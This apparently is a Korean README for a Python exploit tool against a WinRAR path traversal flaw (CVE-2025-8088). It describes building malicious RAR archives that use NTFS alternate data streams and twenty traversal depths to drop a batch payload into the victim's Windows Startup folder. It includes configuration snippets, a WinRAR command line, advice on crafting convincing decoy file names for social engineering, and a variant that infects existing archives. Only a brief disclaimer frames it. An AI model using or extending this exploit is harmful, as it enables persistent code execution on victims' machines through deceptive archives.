
다른 프로젝트와 달리 사용자 이름을 알 필요 없이 구형 WinRAR을 사용하는 시스템을 익스플로잇합니다.


이 Python 스크립트는 WinRAR의 경로 탐색(path traversal) 취약점(CVE-2025-8088)을 악용하여 여러 상대 경로 깊이를 사용해 Windows 시작 폴더에 페이로드를 배포합니다. 이 익스플로잇은 악성 RAR 아카이브를 생성하며, 압축을 풀면 다양한 디렉터리 깊이로 피해자의 시작 폴더에 페이로드를 기록합니다.
이 스크립트는 각각 서로 다른 수의 상위 디렉터리를 트래버스하도록 구성된 여러 유인 파일(기본 20개)을 생성합니다:
NUM_DEPTHS = 20 # Number of different traversal depths
각 파일은 서로 다른 경로 깊이를 사용합니다:
File1.txt → ..\Startup\payload.bat
File2.txt → ..\..\Startup\payload.bat
...
File20.txt → ..\..\..\ (20 times) \Startup\payload.bat
✅ 피해자가 아카이브를 어디에 풀든(바탕 화면, 문서, 다운로드 또는 중첩 폴더) 최소한 하나의 페이로드가 시작 폴더에 도달하도록 보장합니다.
유인 파일은 기본적으로 일반 텍스트를 포함하지만 현실적인 사회공학(소셜 엔지니어링)을 위해 사용자 지정해야 합니다:
# Create more convincing decoy content
decoy.write_text("Quarterly Financial Report Q3 2025.docx\n", encoding="utf-8")
유인 콘텐츠를 변경해야 하는 이유는?
페이로드는 기본적으로 간단한 배치 스크립트이지만 어떤 실행 파일로도 대체할 수 있습니다:
PAYLOAD = "@echo off\necho Payload executed!\npause\n"
페이로드 위치:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
최종 악성 RAR 아카이브는 다음과 같이 저장됩니다:
OUT_RAR = "exploit.rar"
이 익스플로잇 생성은 여러 이유로 Windows 환경이 필요합니다:
ADS(Alternate Data Streams) 의존성
페이로드를 첨부하는 데 사용되는 NTFS 전용 기능:
ads_path = f"{decoy}:{placeholder}" # Windows-specific NTFS syntax
WinRAR 실행 파일 요구 사항
WinRAR의 Windows CLI를 사용:
subprocess.run(f'"{rar_exe}" a -ep -os "{base_rar}" ...')
경로 구조 호환성
Windows 전용 경로를 대상으로 지정:
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu..."
페이로드 실행
Windows 배치 파일을 생성:
@echo off
start /B notepad.exe
구성을 사용자 지정합니다:
# Configuration
NUM_DEPTHS = 20
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"
PAYLOAD = "@echo off\nstart /B notepad.exe\n" # Your actual payload
DECOY_FILE_PREFIX = "Financial_Report_Q3_" # More convincing names
스크립트를 실행합니다:
python CVE-2025-8088.py
출력물을 배포합니다:
exploit.rar를 생성합니다이 버전의 코드는 다음과 같이 실행할 수 있게 해줍니다:
python3 infect_premade_rarfiles.py website_backup.rar
모든 파일을 추출한 다음, .txt, srt, sql 등 주입할 수 있는 파일(모든 파일 형식이 작동하는 것은 아님)을 주입하고 실행 준비가 완료된 rar 파일을 생성합니다.
⚠️ 이 도구는 교육 및 보안 연구 목적으로만 사용해야 합니다.
명시적 허가 없이 시스템을 대상으로 사용하지 마십시오. 무단 사용은 불법이며 비윤리적입니다.